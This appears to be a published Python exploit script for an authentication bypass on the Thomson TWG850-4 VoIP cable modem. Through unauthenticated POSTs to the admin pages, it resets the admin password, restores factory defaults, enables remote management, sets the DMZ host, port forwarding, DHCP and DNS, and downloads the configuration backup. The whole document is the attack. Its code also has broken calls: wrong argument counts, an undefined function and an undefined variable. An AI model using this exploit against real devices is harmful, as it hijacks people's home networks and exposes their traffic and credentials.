148 lines
No EOL
7.4 KiB
Python
Executable file
148 lines
No EOL
7.4 KiB
Python
Executable file
# Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass
|
|
# Date: February 22, 2011
|
|
# Author(s): Glafkos Charalambous, George Nicolaou
|
|
# Product: TWG850-4 Wireless VoIP Cable Modem
|
|
# Software Version: ST9A.01.06
|
|
# Severity: High
|
|
# Other Vulnerabilities:
|
|
# Unauthenticated Backup File Access,
|
|
# Plaintext Protocol succeptible to sniffing attacks
|
|
|
|
import argparse
|
|
import httplib
|
|
import urllib
|
|
import urllib2
|
|
|
|
def http_post( ip, port, request, params ):
|
|
headers = {
|
|
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
|
|
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
"Accept-Language":"en-us;en;q=0.5",
|
|
"Accept-Encoding":"gzip, deflate",
|
|
"Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7",
|
|
"Keep-Alive":"115",
|
|
"Connection":"keep-alive",
|
|
"Content-type":"application/x-www-form-urlencoded"
|
|
}
|
|
con = httplib.HTTPConnection(ip,port)
|
|
con.request("POST", request, params, headers)
|
|
response = con.getresponse()
|
|
|
|
def block_domain( ip, port, host ):
|
|
http_post( ip,port,
|
|
"/goform/RgUrlBlock",
|
|
urllib.urlencode( {"cbDomainBlocking":"0x2","BasicParentalNewKeyword":0, "BasicParentalKeywordAction":0, "BasicParentalDomainList":0, "BasicParentalNewDomain":host,"BasicParentalDomainAction":1} )
|
|
)
|
|
def block_keyword( ip, port, host ):
|
|
http_post( ip,port,
|
|
"/goform/RgUrlBlock",
|
|
urllib.urlencode( {"cbKeywordBlocking":"0x1", "BasicParentalNewKeyword":host,"BasicParentalKeywordAction":1, "BasicParentalNewDomain":"0", "BasicParentralDomainAction":0} )
|
|
)
|
|
|
|
def password_reset( ip, port, user="admin", passwd="admin" ):
|
|
http_post(ip,port,
|
|
"/goform/RgSecurity",
|
|
urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x00" })
|
|
)
|
|
|
|
def factory_defaults( ip, port, user="admin", passwd="admin" ):
|
|
http_post(ip,port,
|
|
"/goform/RgSecurity",
|
|
urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x01" })
|
|
)
|
|
|
|
def dhcp_config( ip, port, localip="10.1.0.1", localsub="255.255.255.0", leasepoolstart="10.1.0.10", leasepoolend="10.1.0.100" ):
|
|
http_post(ip,port,
|
|
"/goform/RgSetup",
|
|
urllib.urlencode({"LocalIpAddressIP":localip, "LocalSubnetMask":localsub, "DhcpServerEnable":"0x1000", "DhcpLeasePoolStartLAN":leasepoolstart, "DhcpLeasePoolEndLAN":leasepoolend, "LeaseTime":"604800" })
|
|
)
|
|
|
|
def dyn_dns( ip, port, dnsuser="user", dnspass="pass", dnshost="host.dyndns.org" ):
|
|
http_post(ip,port,
|
|
"/goform/RgDdns",
|
|
urllib.urlencode({"DdnsService":1, "DdnsUserName":dnsuser, "DdnsPassword":dnspass, "DdnsHostName":dnshost })
|
|
)
|
|
|
|
def sntp_set( ip, port, server1="clock.via.net", tserver2="ntp.nasa.gov", tserver3="tick.ucla.edu" ):
|
|
http_post(ip,port,
|
|
"/goform/RgTime",
|
|
urllib.urlencode({"TimeSntpEnable":1, "TimeServer1":tserver1, "TimeServer2":tserver2, "TimeServer3":tserver3, "TimeZoneOffsetHrs":0, "TimeZoneOffsetMins":0, "ResetSntpDefaults":0 })
|
|
)
|
|
|
|
def backup_config( ip, port, fName="GatewaySettings.bin" ):
|
|
u = urllib2.urlopen('http://' + ip+":"+port + '/GatewaySettings.bin')
|
|
lFile = open(fName, 'w')
|
|
print "File "+fName+" saved successfully"
|
|
lFile.write(u.read())
|
|
lFile.close()
|
|
|
|
def remote_manage( ip, port, status ):
|
|
if status == 'enable':
|
|
http_post(ip,port,
|
|
"/goform/RgOptions",
|
|
urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbRemoteManagement":"0x80", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
|
|
)
|
|
elif status == 'disable':
|
|
http_post(ip,port,
|
|
"/goform/RgOptions",
|
|
urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
|
|
)
|
|
else:
|
|
print "The argument you specified is not accepted"
|
|
|
|
def dmz_set( ip, port, dmzhost ):
|
|
http_post(ip,port,
|
|
"/goform/RgDmzHost",
|
|
urllib.urlencode({"DmzHostIP3":dmzhost})
|
|
)
|
|
|
|
def port_forward( ip, port, localip, startport, endport ):
|
|
http_post(ip,port,
|
|
"/goform/RgForwarding",
|
|
urllib.urlencode({"PortForwardAddressLocal1IP3":localip, "PortForwardPortGlobalStart1":startport , "PortForwardPortGlobalEnd1":endport , "PortForwardProtocol1":"254", "PortForwardEnable1":"0x01" })
|
|
)
|
|
|
|
def main():
|
|
status = ['enable', 'disable']
|
|
argp = argparse.ArgumentParser(description='Thomson Cable Modem Auth Bypass v0.1')
|
|
argp.add_argument("-pr", "--password_reset", nargs=2, help="Reset Admin Account", metavar=("user","pass"))
|
|
argp.add_argument("-fd", "--factory_default", nargs=2, help="Reset Factory Defaults", metavar=("user","pass"))
|
|
argp.add_argument("-bk", "--block_keyword", help="Block Web Access based on Keyword(s)", metavar="keywrd1,keywrd2,...,keywrdN")
|
|
argp.add_argument("-bd", "--block_domain", help="Block Web Access to Specific Domain(s)",metavar="domain1,domain2,...,domainN")
|
|
argp.add_argument("-dc", "--dhcp_config", nargs=4, help="Configure DHCP Settings",metavar=("localip","localsub","leasepoolstart", "leasepoolend"))
|
|
argp.add_argument("-dd", "--dyn_dns", nargs=3, help="Configure Dynamic DNS",metavar=("user", "pass", "host"))
|
|
argp.add_argument("-ss", "--sntp_set", nargs=3, help="Configure SNTP Settings",metavar=("timeserver1", "timeserver2", "timeserver3"))
|
|
argp.add_argument("-bg", "--backup_config", help="Download Backup Configuration", metavar=("filename"))
|
|
argp.add_argument("-rm", "--remote_manage", help="Enable Remote Config Management", metavar=("enable/disable"))
|
|
argp.add_argument("-ds", "--dmz_set", help="Set DMZ Host. Use last 3 digits for IP Address", metavar=("ip"))
|
|
argp.add_argument("-pf", "--port_forward", nargs=3, help="Configure Port Forwarding", metavar=("ip", "startport", "endport"))
|
|
argp.add_argument("IP", help="IP Address")
|
|
argp.add_argument("PORT", help="Port Number")
|
|
args = argp.parse_args()
|
|
if(args.password_reset != None):
|
|
password_reset( args.IP, args.password_reset[0], args.password_reset[1] )
|
|
if(args.factory_default != None):
|
|
factory_default( args.IP, args.factory_default[0], args.factory_default[1] )
|
|
if(args.block_keyword != None):
|
|
for keyword in args.block_keyword.split(","):
|
|
block_keyword(args.IP, keyword)
|
|
if(args.block_domain != None):
|
|
for domain in args.block_domain.split(","):
|
|
block_domain( args.IP, domain )
|
|
if(args.dhcp_config != None):
|
|
dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] )
|
|
if(args.dyn_dns != None):
|
|
dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] )
|
|
if(args.sntp_set != None):
|
|
sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] )
|
|
if(args.backup_config != None):
|
|
backup_config( args.IP, args.backup_config )
|
|
if(args.remote_manage != None):
|
|
remote_manage( args.IP, args.PORT, args.remote_manage )
|
|
if(args.dmz_set != None):
|
|
dmz_set( args.IP, args.PORT, int( args.dmz_set ))
|
|
if(args.port_forward != None):
|
|
port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] )
|
|
|
|
if __name__ == "__main__":
|
|
main() |